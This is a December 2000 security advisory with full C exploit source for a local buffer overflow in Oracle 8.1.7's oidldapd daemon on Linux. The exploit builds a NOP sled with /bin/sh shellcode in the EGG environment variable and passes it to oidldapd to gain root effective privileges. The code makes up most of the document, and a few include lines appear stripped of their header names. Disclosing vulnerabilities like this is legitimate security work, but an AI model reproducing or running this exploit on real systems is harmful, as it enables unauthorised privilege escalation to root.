WWW.PLAZASITE.COM

                  System & Security Division



   Title:     Vulnerability in oidldapd in Oracle 8.1.7

    Date:     10-12-2000

Platform:     Only tested in Linux, but can be exported to others.

  Impact:     Any user gain euid=root.

  Author:     Juan Manuel Pascual (pask@plazasite.com)

  Status:     Vendor Contacted answers received. Details Below



OVERVIEW:

    oidldapd is a Oracle Internet Directory. Oracle Ldap Daemon. The

actual version is 2.1.1.1



PROBLEM SUMMARY:

    There is a buffer overflow in oidldapd that can be use by local

users to obtain euid of root user. Easy for user oracle.



IMPACT:

    Any user with local access, can gain euid= root.



SOLUTION:

    Chmod -s ;-)))).



STATUS:

    Vendor was contacted 10-Dec-2000. They point me to metalink site

then all to metalink site ;-)



----------------

This vulnerability was researched by:

Juan Manuel Pascual Escriba            pask@plazasite.com



--





                " In God We trust, Others We monitor "



        -------------------------------------------------------------

         Juan Manuel Pascual Escribá        Administrador de Sistemas

         PlazaSite S.A.                         c/ Tomás Bretón 32-38

         08950 Esplugues de Llobregat           (Barcelona),    SPAIN

         Ph: +34 93 3717398                       Fax: +34 93 3711968

         mob: 667591142                     Email: pask@plazasite.com

        -------------------------------------------------------------













































--------------------------------------------------------------------------------





/*

Exploit Code for oidldapd in Oracle 8.1.7 (8ir3) for Linux. I tested in RH 6.2

and 6.1.



synopsis: buffer overflow in oidldapd

impact:   any local user gain euid=root.



Dedicated to my mentors. Cra & Borja. Thanks for your knowledge and wisdom.

*/









#include 

#include 



#define DEFAULT_OFFSET                -400

#define DEFAULT_BUFFER_SIZE             700

#define NOP                            0x90

#define ORACLE_HOME "/work/oracle8ir3"



char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_sp(void) {

   __asm__("movl %esp,%eax");

}



void main(int argc, char *argv[]) {

  char *buff, *ptr,*name[3],environ[100],binary[120];

  long *addr_ptr, addr;

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

  int i;





  buff = malloc(bsize);

  addr = get_sp() - offset;

  ptr = buff;

  addr_ptr = (long *) ptr;

  for (i = 0; i < bsize; i+=4)

    *(addr_ptr++) = addr;



  for (i = 0; i < bsize/2; i++)

    buff[i] = NOP;



  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

  for (i = 0; i < strlen(shellcode); i++)

    *(ptr++) = shellcode[i];



  buff[bsize - 1] = '\0';



  memcpy(buff,"EGG=",4);

  putenv(buff);



  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);

  putenv(environ);



  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);

  system(binary);

}